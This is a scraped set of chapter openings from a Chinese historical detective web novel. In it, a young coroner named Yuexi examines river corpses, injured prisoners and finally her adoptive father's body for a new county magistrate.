《解语(探案)》 1. 仵作到了 《解语(探案)》全本免费阅读 连续下了半个月大雨,黎阳县城外密林的小路上总湿漉漉的。今日难得天阴,不远处的天边隐约又有一丝乌云压顶的迹象,使得雾蒙蒙的林子压抑得很。 卯时初刻刚过,阿布点着一盏油灯,背着一个药篓子,颤颤巍巍地往河边走去。 不知为何,他总觉着今日的林子有些不对劲。 四周寂静地可怕,一阵冷风吹过,霎时间水雾里的林木也跟着沙沙作响,从灯光里看过去,仿佛是一个个要向他索命的无头鬼魅。 他浑身一震,不过几息,后背便被冷汗湿了一片。 这片林子他经常来,再往前走几步便是一条蜿蜒隐蔽的小河,因着人迹罕至,河边空地上长了几株罕见的药草,其中便有他今日要寻的那味。 一想到此处,他满脑子都是后悔。 要不是昨晚失手把药炉打翻,又听闻新来的东家手段狠辣,回春堂正好又缺了这味药,他也不至于这个时辰跑来寻药。 时值秋日,日子渐冷,又一阵冷风猛地吹过,林子里的树叶像是着了什么魔,又跟着抖动了起来。 一股莫名的凉意从脚底攀爬至脊椎,他停下脚步,紧紧握住手里那唯一的亮光,屏住呼吸,试图往前探了探。 直到听到不远处隐约传来的水声,悬着的心这才渐渐放了下来。 这氛围实在太诡异了,他真想等天再亮些再来。 正此时,他的脚边传来一阵清脆的咔嚓声,紧接着,一个黑影突然从他头顶飞了过去。 霎时间,他头皮一阵发麻,巨大的恐惧蜂拥而至,他下意识地转身拔腿就跑,谁想转身时双腿发软,一个重心不稳,猛地往后一坐,手里的油灯也掉到了地上,倏地灭了。 他的心砰砰直跳,脑袋里仿佛被什么东西炸了,也跟着咚咚地跳。 河对面的山岛是一座乱葬岗,那黑影不会是…… 他越想越慌张,越慌张腿越软,也不知过了多久,他还没站起身。 而此时,天光渐渐明亮,林中的雾也随之散去了些,他下意识地朝河边看了一眼。 只一眼,他整个人又被吓得僵在了原地。 林木尽头的河里,竟是嫣红一片,看着像是血。 那片血水中还躺着两个人,一男一女。 其中那男子浑身是血,已然分不清面目,而那女子面色苍白,像是个死人。 不,就是死人! 阿布再也没忍住,尖叫出了声。 “咚咚咚……” 黎阳县七角巷里,县衙捕快楚括正在焦急地敲着一扇看起来十分老旧的门。他身后跟着的是他的一个小跟班陆一,也是十分焦急地扶着腰间的捕快刀,一个劲儿地往门内抻脖子。 不一会儿,门内传来一阵脚步声,很快,这扇老旧的门被一双瘦白的手打开一条缝,从里头露出半张少女的脸来。 虽然她刻意地斜过身子,尽力将自己另外半张脸藏起来,但楚括眼尖,还是看到了她另外半边脸上狰狞的疤痕。 但即便如此,少女透亮的双眼依旧叫人眼前一亮。 为首的楚括朝她友好又温柔地笑了笑,“月娘,你阿爷呢?” “又死人了吗?” 月夕的语气很是平静,像是在听着什么杀猪杀鸡一样的消息,再加上她的行为举止显露的是远超寻常少女的沉稳,更显得她带着一丝生人勿近的神秘与威压。 楚括微微蹙起眉,点了点头。 “哦。”月夕微微颔首,“阿爷刚刚吃了药睡下,怕是要晚些时候才能去衙门了。” 楚括无奈道,“这回恐怕要劳烦顾老去趟现场了。” 月夕诧异,“从前不是一直去的县衙?” 楚括为难地搓了搓手,“月娘有所不知,咱们县新县令今早刚到,听闻死了人,行李都还没来得及放下,便跑去了现场。临走时县尊亲口吩咐,让顾老亲自过去一趟。” 月夕蹙起眉头,“阿爷才刚吃了药,一时半会儿怕是很难起身。” “这可如何是好?县尊还在城外林子里等着呢!”楚括身后的陆一亦是慌张,“月娘子,要不这样,我与楚兄备辆马车,送顾老过去?” 月夕沉下脸来,“不成。” 楚括无奈地看着她,“若非顾老是整个县里唯一的仵作,咱们也不至于此时来打扰,还求月娘想想法子。” 月夕扭头看了一眼庭院,又看了看天色,问:“非要去现场吗?” 楚括点点头,“县尊亲口吩咐的。” 月夕想了想,道,“那我替阿爷去吧。” “这……” “怎么?不妥吗?”月夕眨了眨她那双清澈又明亮的眼睛,反问道。 楚括略显忧色,但想起仵作这行当都是家传的,整个黎阳县怕是真找不着比月夕更合适的了。 于是他最终还是点了点头,“成,陆一,去备车。” 两刻钟后,一辆朴素的马车在城外绵山脚下停了下来。 月夕轻轻掀开车帘,往林子里望了一眼。 却见林子里除了林立着的树木之外,竟还站立着好些穿着劲装扶着腰刀的衙役,粗略估算了一下,县衙里的所有捕快衙役,除了那两个看门的,剩下的几乎全来了。 月夕轻蹙起眉,边抱着她的工具箱子下马车边问:“死的人很多吗?” 楚括摇头,“就两个。” 月夕更奇怪了,才死了两个人,为何这么大的阵仗? 已过巳时,天边的乌云越来越厚重,楚括边领着月夕往林子里走,边同她讲述着情况:“是回春堂的阿布报的案,他今早过来采药,发现有一男一女死在了河里,像是……殉情。” 说到殉情二字,楚括不自觉地往月夕的方向瞥了一眼,毕竟是个没出阁的小娘子,同她说这些会不会有些太过…… 谁想月夕毫无波澜,只哦了一声,清澈的双目看了过来,“这是县尊大人给的结论吗?” “啊?”楚括睖睁了一会儿,连连摇头,“那倒不是。” 正说着,两人便已经到了河边。 河边的人显然少了许多,一阵微风拂过,竟飘来一股淡淡的馨香。 月夕抱着工具箱子环顾了一圈,最终将视线落在了不远处背对着她的白衣男子身上。 那男子虽说一身白衣,身上却未曾沾过一片泥土,身姿挺拔,目测有六尺二寸[注],比县衙里的大部分衙役要高出好多。 不仅如此,他头骨圆润,四肢纤长,看着有些瘦弱,像是个手无缚鸡之力的读书人。 楚括近前半步,朝一旁站着的白衣男子拱手作揖,“县尊,仵作到了。” 王珏正在查看地形,闻言转过身来,视线正正落在了月夕身上 2. 普通纹绣 《解语(探案)》全本免费阅读 “他没死?” 王珏狐疑,方才他明明探过那男子的鼻息与脉息,分明早已死去多时,怎地在她眼里,竟是没死? 月夕将工具箱子收拾好,又向王珏行了个礼,“回县尊,一般人死后,伤口处会呈死气,而他身上有些伤口却结了活痂。再观他手指手腕处有老茧,腿部与手臂的肌肉也很是匀称,想来该是个习武之人。” 她想了想,补充道:“小女听坊间说起过他们习武之人的功法,听闻有一种叫龟息功的……” “你是说他系假死?” 月夕微微低头,“只有真死,身体才会泛有死气,他没有。” 王珏拧起眉,再次将面前这个自称仵作的少女上下打量了一番,随后才冲一旁的捕快道,“把人都带回去。” 月夕回到七角巷时已经午时,天边的乌云愈发厚重,显得整个天地之间都很是压抑。 她在门口站了好一会儿,犹豫了许久,才抱着工具箱子推开门走了进去。 刚走到院中,她便远远瞧见堂屋里坐着一个人。 那人穿着一身洗得有些发白的灰袍,佝偻着瘦弱的身子,跽坐在桌案旁。 月夕心头一紧。 “还知道回来?”顾宗轻抬起眼皮,朝她的方向直直地看了过来。 月夕紧抿唇角,也不打算狡辩,径直走进堂屋,放下工具箱子,低下头认错,“阿爷,月儿知错了。” 顾宗还想说些什么,可见她这般,强行硬着的心顿时软了下来,“平日里,你去做个修颜女也没什么,可这回是凶杀案,你去瞎掺和什么?” 月夕低着头,不语。 顾宗越说越语重心长,“仵作本是贱业,且是个家传的行当,你又非我亲生,将来有的是行当可以做,就非得继承这玩意儿?” “阿爷。”月夕忽而抬起头,清澈的目光诚恳地看过去,“阿爷对月儿有救命教养之恩,在月儿心中,您就是月儿的父亲。” 顾宗刚想开口,喉间的话又被生生吞了回去。 他长叹了一声,很是无奈地摇了摇头,“你啊你啊!” 说着,他将桌案上的盖子掀开,里头是一盆新鲜热气腾腾的卤猪蹄,语气柔和了不少,“饿坏了吧?过来吃猪蹄。” 月夕抿唇一笑,转身从工具箱子里拿出一个荷叶包,打开一看,也是两只热气腾腾的卤猪蹄。 父女二人相视一笑,各自拿了一只猪蹄啃了起来。 啃到一半,顾宗习惯性地拿了杯盏喝了一口,察觉舌尖淌过的是茶香而非酒香,又啧啧几声,摇了摇头,“快同阿爷说说,今次死的是什么人?死状又是如何?” “他杀,窒息而死,但有好几处疑点。” 月夕将今早在尸体上发现的一切悉数告知,随后顿了顿,道,“上个月彩蝶娘子托我给她的婢子小欣修颜入殓时,我见过她一回,那时的她珠圆玉润气色尚佳,可今早我见到她的尸体,却是瘦骨如柴宛若骨架,肌肤更是苍白如纸毫无血色。她是花魁,理应受的最好的照料,而且她才刚死不到两三个时辰……” 顾宗点了点头,丢掉手里的猪蹄骨头,又拿了一个,“一会儿去趟老杨那儿……” 月夕脸色忽而一沉,顾宗也是一慌,连忙解释,“不喝酒不喝酒,就想着给老王带点儿,你也知道老王他不能擅自离开衙门……” 月夕这才恢复神色,“自从王阿爷去年摔断了腿,每逢阴雨总腿疼,我猜他怕是得了风湿,阿爷你还是给王阿爷买些别的吧。” 顾宗叹了口气,无奈道:“罢了罢了,不买便不买罢。” 他抄起桌子上的白叠布擦净了手,随后扶着桌面有些吃力地站起身,理了理衣裳,道,“一会儿跟阿爷去趟衙门。” 月夕目光一亮。 顾宗似笑非笑地瞥了她一眼,“既然这案子你已插手,阿爷还能捆着你不成?” 月夕终于展颜,“多谢阿爷。” 七角巷距离县衙不远,巷口走到头,拐个弯,再穿过两个巷子便到了。 月夕拎着工具箱子,亦步亦趋地跟着顾宗走到衙门口,门房老王一瘸一拐地迎了出来。 “哟呵,你这老小子,身子骨好了?” 顾宗呵呵一声,“还不是托了你的福。” 老王啧啧几声,正要说些什么,看到身后的月夕,脸色立刻变了。他狠狠拍了一下顾宗的肩膀,责道:“你怎么能让月儿给你拎箱子呢?小娘子就该娇着养!你这!” “王阿爷,我给您带了卤猪蹄和清风糕。” 月夕微笑着从怀里掏出两个油纸包,老王立刻戛然而止,并笑脸盈盈地接了过来,“还是月儿待王阿爷好!” 顾宗一把将他拉过来,小声问道:“听说咱们县来了个新县令?” 老王如获至宝地将油纸包藏进怀里,又顺手接过月夕手里的工具箱子,领着两人进门,“可不是么,咱黎阳县都已经多少年没县令了,一来便风风火火的。” “怎么?县尊不在衙门?” “一大早把尸体抬回来后,便带着人去栖月楼了。” 顾宗冷哼一声,“这位新县尊倒是有些脑子,只是不多。” “啧,好歹将来要在他手底下做事,少说些风凉话。”老王将工具箱子递还给他,“拿着,这会儿殓尸房没人。” 说完,他朝后头的月夕笑眯了双眼,“月儿,走,去王阿爷那儿喝茶去。” 月夕摇了摇头,“王阿爷,我要给我阿爷打下手呢。” 老王微微一顿,瞬即明白了,“成,那王阿爷在外头等你们。” 这两年黎阳县一直风平浪静,殓尸房的用处也不大,顾宗每回来衙门,也不过是帮忙验个伤,顶多也不过是个验明正身。 为命案而来,这些年也还是头一回。 殓尸房在北面的刑房里,平日里本就阴暗潮湿,今日的乌云漫天更显得殓尸房压抑了几分。 顾宗带着月夕来到殓尸房门前,理了理衣裳,又从工具箱子里取出那双白叠布手套与围布,冲月夕招了招手,“过来。” 月夕微微一愣,但依旧不自觉地走近前去,“阿爷?” “有始有终,既然是你开验的,那便将她验完。”他边说着,边给她戴上手套与围布。 月夕乖 3. 屈打成招 《解语(探案)》全本免费阅读 “回县尊,老朽尚在病中,为了不耽误衙门的事务,小女月夕这才替了半日。” 王珏本就身形高挑,而今那两人又故意躬身低头,更显得他此刻居高临下起来。 他俯视了一圈,最终将视线落在了月夕的身上,寻常像她这般年岁的小娘子,不是天真烂漫便是躲在闺阁里向往着才子佳人,而她却早已入了仵作行当,整日里面对着那些冰冷的尸体。 倒是个令人钦佩的小娘子。 他又看了眼台面,上头还残留着验尸的痕迹,即便是远远得站在门口,依稀能闻到尸体身上那股开始腐烂的气息。 王珏微微蹙起眉,问道,“都验出了些什么?” 顾宗道,“死者死前被辱,想来正因为此,死者才会与凶徒产生冲突,终至身死。” “依你所见,凶徒可是个男子?” 顾宗微微颔首,“从尸检得出的结论来看,凶徒该是男子,而且,怕是不止一个。” 王珏蹙眉,“如何所见?” 顾宗将自己记录的那份验案呈交了上去,继续道,“死者脖颈上有不同痕迹的掐痕两处,身上被打痕迹多处,包括但不限于腰后鞭痕,左腰侧多处齿痕以及右腰侧多处不同掌印,此外,死者下|体有撕裂痕迹,系生前受辱铁证。由此可见,凶徒恐怕有三人或以上。” “包括但不限于?”王珏边细看着验案,边问。 顾宗颔首,“除却以上的伤,死者浑身遍布深浅不一的瘀痕,暂还不能分辨是什么伤。” “可是撞击伤?” “不像。”顾宗摇头,“更像死者体内出血导致,但具体是什么导致死者体内出血,暂不明确。” “恩。”王珏点点头,并让出个一个身位,“你二人跟我去一趟牢房。” 顾宗神情微顿,看了眼王珏又看了眼身后的月夕,道,“是。” 父女二人跟着王珏走出殓尸房,径自走到牢房。 牢房比殓尸房更要阴暗潮湿,才刚走近门口,月夕便感到有一股带着腥味的阴潮之气扑面而来,她不由脊背一凉。 王珏带着两人走到一间牢房门口,指着里头道,“验一验她身上的伤。” 月夕朝里头看了一眼,微弱的烛光之下,有一个身着华服的女子正躺在牢房内角床台上,她发髻上那几枝珠钗没来得及插好,显得她的脑袋歪歪斜斜的,整个人也有一种慵懒且奄奄一息的感觉。 王珏让人将牢房的门打开,那女子的肩膀显然不自觉地动了一下,月夕抿了抿唇,暗自拉了一下顾宗的衣袖。 顾宗狐疑,扭过头看了她一眼,直到看到她眼底的坚定,无奈又宠溺地摇了摇头,闪身让了步。 地上铺了一层稻草,月夕才走几步,牢房里便传出一阵沙沙响,那女子的肩头又不自觉地往里扣了扣。 月夕缓缓走到她面前,对着她的肩膀轻轻拍了拍,“于妈妈?” 正打算撒泼的于妈妈没想到进来的是个女子,那只蓄着力的手一下子没地儿使抡了个空,整个人险些从床台上掉下来。 待到她用双手支撑住身子,才满是埋怨又探究地借着烛光朝月夕看了一眼。 只一眼,她便被烛火里那若隐若现、面目狰狞满是疤痕、犹如从地狱出来索命的恶鬼的脸吓了一跳,霎时间,她双目瞪圆,双腿一软,连惊叫的音色都变了。 只听噗通一声,她整个人从床台上摔了下来,那张涂满胭脂的脸正正怼在了地上。 月夕慌忙近前搀扶,“于妈妈,你没事吧?” “没事!没事没事!你别过来!别过来!不是我!真不是我!”于妈妈慌忙站了起来,边闭着眼睛用力将月夕往外推,边嘴上连连告饶:“县尊大人饶命!草民知错了!” “哦?这会儿怎地不腰酸背痛了?”王珏不知何时站在两人不远处,正饶有兴致地看着这场推拉闹剧。 月夕任由于妈妈推搡着,扭过头冷着脸,向王珏汇报,“县尊,初步检查,于妈妈身体康健,除了脸部有轻微撞伤外,其他无甚毛病。” 于妈妈这才反应过来,倏地抬头,这才看清那张狰狞如恶鬼的脸。 “我道是谁!原来是你这个丑泥鬼!” 说着,她猛地将月夕往外一推。 月夕也没想到于妈妈推搡的力气会突然变大,一个没站稳,整个人竟真被推了出去。 她身后不远处正是挂着烛台的墙面,眼见着月夕往那烛台上撞,远在门口的顾宗也顾不上身子的极度不适,抬起手就要去接。 可谁想他年老体迈,终究还是晚了一步。 说时迟那时快,月夕突然觉着手腕一紧,有一只温暖的大手正紧紧握住她的手腕,将她往反方向一拉。 那力道恰到好处,电光火石之间,她便好端端地站回了原来的位置。 顾宗此刻也已赶到,他一把将月夕护在身后,那双沧桑的眼眸满是怒火,死死地盯着于妈妈,像是要将她生吞活剥一般,“你这腌臜老婆子,想要作甚?!” 于妈妈被顾宗的气势吓住了,刚要破口大骂的话语一下被她囫囵吞了下去,整个人也不由得往后缩了缩。 莫说于妈妈,就连月夕也被顾宗的气势惊住了,印象里,她的阿爷是最和气最风度不过的了,怎地还会叫骂这样的话? “你……你们想屈打成招吗?”于妈妈被吓得往后退了退,直到退无可退,才噗通一声跪了下来。 “县尊,该说的草民都已经说了,彩蝶可是我们栖月楼的命根子,平日里她也只需要在台面上弹弹琴唱唱曲儿,偶尔招呼招呼几位贵重的客人,草民哪儿舍得虐待她啊!草民说的句句属实,县尊您真的是冤枉草民了!” 王珏轻抬眼皮,很是不屑,“哦?不知彩蝶这几日招呼的是哪几位贵重的客人?” 于妈妈几乎脱口而出,“城外莲花山庄的二当家,莫府的莫家主,还有一位自京城而来的苏郎君!” 她带着哭腔,一副十分可怜又十分无奈的模样:“这几日彩蝶身子有些不适,我原想着让她休息休息,没想到那几位点名要见她,妈妈我人微言轻,这几位又位高权重,实在是……” 王珏冷哼一声,朝顾宗道,“劳烦顾仵作再验一验。来人!” 门外站着的衙役闻声,其中两个犹豫了一会儿,为首的那个看不下去,立刻吼了一声,“还不快去!” 那两人面面相觑了一会儿,最终还是扶着刀走进了屋,两两配合将于妈妈死死按在了墙上。 于妈妈瞬即慌了,四肢使不上劲儿,只好扯着嗓子连连哭喊,“别碰我!不许碰我!县尊!草民该说的能说的可都说了,你可不能滥杀无辜!那位莫家主可是兴海城城主的人!若是让城主知晓……” 啪地一声响,为首的那个衙役伸手就给了于妈妈一个狠辣的巴掌,霎时间,于妈妈的左脸便起了一道火红的掌印,火辣辣地疼,她的脑袋也跟着嗡嗡作响,要说出口的威胁一下子被吞进肚子里。 王珏微微挑眉,“知晓了又如何?” 他虽问得轻描淡写,但牢房里的却莫名多了几分威压。< 4. 莲花旋螺弩 《解语(探案)》全本免费阅读 目送顾宗离开后,月夕拎起工具箱子,一路小跑才勉强跟上往里间牢房走的王珏,她尽力平复着呼吸,“多谢县尊。” 听着她的呼吸明显有些不太匀,王珏缓缓放慢了脚步,“方才可是想起了什么?” “嗯?”月夕诧异地顿了顿,但很快便反应过来他到底在问什么,于是道,“上个月小女去栖月楼给彩蝶的婢子小欣敛尸,曾见过于妈妈一面,当时的她看上去有些前言不搭后语,且十分暴躁,对所有人都颐指气使的,甚至还当场将一个龟公从楼梯上踹下来。” “如此跋扈泼辣之人,确实会遭到些许的报复,可是,她身上的瘀痕伤口深浅不一,明显是长期积累所致,所以小女觉着她的话不大可信。” “嗯。”王珏点点头,似是在同意她的看法,“死者彩蝶生前性情如何?” 月夕微微蹙眉,虽不知他为何会这么问,但还是道,“虽只一面之缘,但小女觉着她是个十分温柔善良之人。” 王珏突然顿住:“何以见得?” 月夕正低着头亦步亦趋焦急地追着王珏,没成想他竟是停下了。 只听咚的一声响,她顿觉自己的额头撞上了一堵肉墙,疼得脑袋都跟着嗡嗡直作响。 王珏见状,不由得后退了半步,“抱歉。” 月夕揉了揉额头,亦是后退了半步,摆了摆手,继续道:“是彩蝶娘子托人让小女替小欣修的颜敛的尸,小欣只是彩蝶娘子的婢子,莫说这天底下,就说这整个黎阳县城,也没几个主子会如此真心替自己的侍婢办理后事的。” “所以你认为,彩蝶是一个温柔善良之人?” 月夕点点头,认真道,“那日去栖月楼,于妈妈也曾对小女的容貌有所鄙斥,是彩蝶娘子替小女拦下。一个人是否善恶,是可以从眼神里看出来的。” 王珏颔首,似是若有所思,转过身继续往前走去,“今日本县也去了趟栖月楼,楼里的一些奴仆却不是这么说的。” 见他并没有要放慢脚步的意思,月夕无奈地暗自叹了口气,追了上去,“敢问县尊,那些人都说了些什……” 一个“么”字还没说出口,走在前头的王珏突然转过身,下一刻月夕便觉自己手腕一紧,连带着身子也跟着手腕上的力道往一侧偏了偏。 牢间甬道里哐当一声响,有一个铁制的东西跌落在了地上。 “小顾仵作可曾受伤?”王珏的声音从昏暗的甬道里传来。 月夕一时之间还不适应这个称呼,只微微愣了愣,但很快她整理好思绪,道:“回县尊,小女无大碍。” 虽说无大碍,方才那一下却依旧让她心惊地心脏咚咚作响,好在甬道里有些昏暗,再加上王珏此刻站在她身前,高大的身形正好将她挡了个严严实实,也将她那张吓得有些惨白的脸挡了个严严实实。 确认她无碍,王珏这才转身循着方才的声音走去,月夕见状,拆下墙面上点着的一盏小油灯,跟了过去。 身后的墙角,正躺着一截小小的箭矢,看样子像是从前头拐角处射过来的。 那箭矢设计十分精巧,箭头尖且锋利,尾端还设有三个极细的棱形伞状倒刺。 月夕心尖一凉,没想到这世间竟还有如此毒辣的箭矢。 一旦有人被这箭矢刺中,只稍稍动一动,箭矢的倒刺便会在体内作祟,被刺之人必定血肉模糊流血不止。 王珏却是冷嗤一声,随即从袖袋里掏出一块绣着美玉的绢帕,轻巧地将那截箭矢拾了起来。 “郎君,你没事吧?”跑进前去检查状况的衙役慌张地跑了回来。 王珏摆了摆手,沉声问:“人呢?” 衙役侧身让出一条道,指着前方拐角:“在里面。” 王珏将箭矢连同绢帕一道握在手中,转身径自往前面走去。 月夕将油灯放回原处,随后也跟了过去。 拐角处是一个独立的牢房,彼时那牢房内灯火通明,受伤的狱卒早已被清理走,只剩下一张破旧的桌案、一个还算干净的床台以及床台上那厚厚稻草里躺着的一个人。 此人正是早间从城外抬回来的那个男子。 男子浑身上下都被绷带包裹着,只余留一个头与一截手臂是完好的。他方才似是在闭目养神,听闻有人来了,这才缓缓睁开眼睛。 月夕虽然站得比较远,却也小小的震惊了一下,这男子的瞳孔,竟是墨绿色的。 王珏将手里的箭矢往地上一丢,正好与地上的精致小弩撞在一起,只听哐当一声,他剑眉微挑,“扶绥国人?” 男子瞥了他一眼,冷哼了一声,复又闭上了眼。 “放肆!”王珏身边的那个衙役猛地拔出剑,抵在了那人的脖子上,“县尊问话,你敢不应?” “竹心,不得无礼。”王珏冷眉:“听闻一个月前,扶绥国神阳将军被人谋杀,自那之后,扶绥国便内乱不断……” 男子再次睁开双眸,怒瞪了他一眼。 王珏踢了踢脚下的箭矢,箭矢与地面触碰,又发出哐当一声闷响,“莲花旋螺弩,这是扶绥国神阳军的东西。” 那男子打量了一圈,终究还是将视线落在了王珏身上,“你们想做什么?” “此话该本县问你才是。”王珏道,“阁下潜入我下唐,意欲何为?” “我没有!”男子有些激动,扯动了身上的伤口,惹得他倒吸一口凉气,脸也涨红了一片。 王珏侧身半步,朝身后的月夕道,“如此境况,可验得?” 月夕抬眸,看了那男子一眼,点了点头,“可。” 说着,她拎着工具箱子,越过王珏,缓缓走近男子。 牢房里虽灯火通明,但也将她那半张狰狞的脸显露无遗,男子的绿眸明显一凝,“你们要做什么?” 竹心抵在男子脖子上的剑一动不动,“老实点!” 月夕在他身侧将工具箱子放下,正色道,“郎君勿惧,小女只是想要验一验郎君身上的伤。” 男子微微一愣,也不知是不是将月夕的话听进去了,神色顿时变了,“小娘子是个仵作?” 月夕点点头,“是。郎君稍忍一忍,小女要拆你的伤口了。” “好。” 这一个字,竟是将在场的所有人听愣了。< 5. 收尸 《解语(探案)》全本免费阅读 翌日一早,天还未完全大亮,月夕便被一阵急促的敲门声吵醒了。 她猛地惊醒,下意识地朝顾宗的耳房望去,耳房里空无一人,阿爷昨夜竟是一夜未归! 顾不得那么多,月夕迅速穿好衣裳,跑去院中开了门。 门外站着的还是楚括和他的小弟陆一,这回月夕直接侧身让他们进来,“二位是来寻我阿爷的吗?我阿爷他……” “月娘……”楚括一脸沉重,欲言又止,“那个,我们……我们就不进去了,这一回我们是来找你的……” “哦。”月夕点点头,“那二位稍等,我去拿工具箱子。” 话音刚落,她便扭头跑回去拿工具箱子,独留楚括与陆一两人站在门口面面相觑。 陆一暗自推了推楚括,“头儿,咱们要不要跟月娘子说啊?若是不说,她一会儿怕是……” 楚括紧咬着牙,猛地挠了挠头,道,“等她出来再说吧。” “说什么?”月夕正好拎着工具箱子跑过来,她看着他们,双眼依旧清澈干净。 楚括莫名有些心虚,陆一见状,直接道:“月娘子,县尊让我们过来喊你去……去收尸的。” “收尸?”月夕顿觉不对,若是寻常验伤验尸,他们绝对不会用收尸这两个字,“敢问二位,这是何意?” 楚括的下唇都快要被他咬破了,面对月夕询问的眼神,他实在不忍心,但最终还是道,“今晨,有人瞧见顾老浑身酒气躺在回春堂门口,气息脉息全无,回春堂严医郎说,顾老已经……” 月夕顿时觉得有什么东西在砸她的脑袋,嗡嗡直作响。 好半晌,她才找到自己的声音,“我阿爷现在何处?” 陆一道:“已经抬回殓尸房了。” 月夕几乎是一路跑进的衙门,直到跑到殓尸房门口,方才停下。 殓尸房内又新搭了个台子,台面上躺着一个人,也用一块干净的布盖着。 里头灯火通明,她拎着工具箱子一直站在门口,整个人显得有些木然。 她不敢进去了。 彼时的王珏正站在顾宗的尸首旁边,今日他依旧是一身月白长衫,长发还未绞干,只用一根极其简单的白玉簪子随便簪了一个发髻,虽然显得仓促,却依旧遮掩不了他身上的贵气。 他转过身,满是愧疚地看着她,“小……顾娘子,节哀。” 月夕仿佛这才找到自己的神思,她轻轻放下顾宗的工具箱子,缓缓走到那具尸首面前,微抬起头,清澈的双眸直勾勾地看着王珏,“这是我阿爷吗?” 王珏的心仿佛被这双眸子狠狠敲了一击,他有些不忍心,良久,终究还是点了点头,给了她一个肯定的回答:“被发现时,他已死去多时。” 月夕点点头,“哦。” 她不知道自己此刻是什么心情,她总觉着这些人是在骗她,就连让在台子上的阿爷也是。 见她依旧木然得站着,王珏轻叹了一口气,转身走出了殓尸房。 也不知过了多久,月夕才鼓起勇气,慢慢掀开台子上的布,顾宗那毫无血色的脸映入眼帘。 一股浓重的酒味扑面而来,她手里的动作顿了顿,眉心几乎拧成了一股绳,几息之后,她才将布全部掀开。 顾宗仍旧穿着昨日的那件衣袍,面目慈祥地躺在那里,虽然浑身死气,但此刻却像是睡着了一般。 月夕忽然想起初来黎阳县的那段时日。 五年前,她被顾宗捡回家,兴许是受了极其严重的伤的缘故,她失去了所有的记忆,每晚都被噩梦缠身,久久不得入眠。 起初她整夜都睡不着,直到几日后的某天夜里,她被噩梦惊醒,发觉窗台之下竟映进来一丝昏黄的灯光。 她起身蹑手蹑脚近前去探了探,却见顾宗搬了一张桌案,正坐在她的窗下,桌案上燃着一盏幽暗如豆的灯,他手里拿着一壶酒,边喝着边看着远处的夜色。 她知道,是阿爷在陪着她。 也是自那之后,她便再没做过噩梦。 顾宗总说,她非他亲生,所以她想做什么便去做,想学什么便去学,他绝对不会干涉。就算将来有一日她想走了,他也不会拦着。 可是,在月夕心里,她早已将他当成了父亲,虽然以前的记忆全都没有了,但潜意识告诉她,父亲就该是顾宗这样的。 月夕愣愣地看着台子上的顾宗,衣裳完好,表面无明显伤痕,腰间的钱袋也还在,钱袋旁边那丑得出奇的香囊也还在。 看来并非是遭了劫。 外头不知何时又下起了雨,月夕定定地看着顾宗良久,深呼吸一口气,似是下了一个很大的决定,转身走出了殓尸房。 王珏正背着手站在外头的屋檐之下,雨幕中,他贵气挺拔的身姿竟莫名显得有些孤独。 像一块冷玉。 月夕走至王珏跟前,噗通一声跪倒在地,“求县尊允准小女为父亲验尸。” 王珏早已料到月夕对他会有所求,却不曾想求的竟是这个,他愣了愣,“顾娘子可想好了?” 月夕抬起头看向王珏,郑重地点了点头,“阿爷说,仵作是唯一能替死者说话之人,县尊,我想知道,阿爷死前想对我说些什么。” 王珏本意想让她缓一缓,但看到她那双满是渴求的眼眸时,他还是忍不住遂了她的意。 他微微颔首,“好。” “多谢县尊!”月夕朝他行了一礼,随后起身再次走进殓尸房。 工具箱子就在旁边,她将箱子打开,取出白叠布手套和围布给自己戴上,随后又取出笔墨纸砚以及一应工具,在一旁空的架子上铺排开。 做好一切准备后,她又笔直地站立在顾宗的面前,坚定地看了他好一会儿,喃喃道,“阿爷,你明明已经答应戒了酒,昨日为何还要喝那么多?可是想告诉我什么?” 她紧了紧手里的工具,道,“阿爷,我开始了。” 说完,她轻柔地解开顾宗的腰带,细细地检查了起来。 顾宗的身体一向不好,从前因为常年酗酒,落下了好些病根,也就这几年在月夕的坚持调理之下,他的脸色才渐渐变得好看了些。 话虽如此,顾宗仍旧很瘦,锁骨之下的肋骨只被一层薄薄的皮包着,仿佛轻轻一碰,薄皮就会裂开,并露出里头的骨头来。 月夕小心地细细检查了一圈,视线最终落在了有些鼓囊的腹腔处。 她轻轻按了按,有些硬,顾宗死前该是与会面之人吃了席面,并相谈甚欢,吃了很多。 细细检查完前胸后背脖颈等处后,月夕抬起顾宗的左手臂。 顾宗的手臂很长,因常年不劳作而显得瘦且柴,与其他肤色相比较显得很白,也正因此,显得他手臂上的那条伤疤极为触目惊心。 那是一条陈年的伤疤,虽早已退了痂,伤情却深入骨髓,像是断了筋骨又重新合起来一般。 如此伤痕并非普通兵器所能致。 月夕又抬起顾宗的右手臂,这条手臂上也有同样的伤痕,大概是顾宗平日里惯用此手,伤恢复的不大好,疤痕处显得愈发触目惊心了些。 顾宗从来不轻易露出手臂,即便是洗碗涮锅洗衣裳时,也总会戴一双手套,平日里也是用窄袖将手臂裹得严严实实的,所以他手臂上的伤月夕也是头一回见。 她紧蹙起眉,轻放下手臂,深呼吸一口气,道:“我阿爷……死者体表无新伤,亦无中毒迹象,猜测死因……” 她看向顾宗微微鼓起的胃部,“从口而入。” 她顿了顿,肯定道,“是酒。” 王珏眉心微蹙,似是询问,紧接着却听月夕道, 6. 最温柔的 《解语(探案)》全本免费阅读 送走严医郎后,月夕站在门口思考了许久。 王珏微微蹙起眉,他似乎已经猜到了月夕的想法。 果不其然,月夕走到他的面前,噗通一声跪了下来,“县尊,我想剖验。” 王珏藏在眼底的错愕,最终还是显露了出来,若是他没听错的话,眼前这个小娘子,竟是要剖验她的父亲! 然而月夕眼里的坚毅却再将他震撼住了。 于情,他甚至觉着她有些铁石心肠,若是放在寻常女子身上,得知其父死亡,不说哭晕过去,至少也是红着眼眶,一脸懵然,无从下手,没成想她看着竟是看着半分悲伤也无。 可于理,他却觉得她做得很对,仵作一行虽是贱业,却是一脉相承,顾宗死后,她便是县里唯一的仵作,为查出真凶,她也必须要履行身为仵作的职责。 王珏的心中有些五味杂陈,甚至有些心疼这么一个“铁石心肠”的小娘子来。 思索良久,他暗自叹了口气,轻轻将她扶起,“下唐律法,得亲属允准便可剖验,你乃死者唯一亲属,又是我县衙仵作……” 他顿了顿:“当做仵作该做之事。” 月夕以为他会拒绝,心中都已经拟好了说辞,没成想他却同意了,她微微一怔,随即正色道,“多谢县尊!” 说着,她转身从工具箱子里拿了几把刀具出来。 这些刀具都是顾宗亲自设计并着人打造出来的,天下只此一套。它们的形状虽然奇特,但在剖验一事上却是得天独厚。 她从中选了一把捏在手上,缓缓走到顾宗面前,许久后才喃喃道:“阿爷,我要开始了。” 像是在告诉顾宗,也像是在告诉自己。 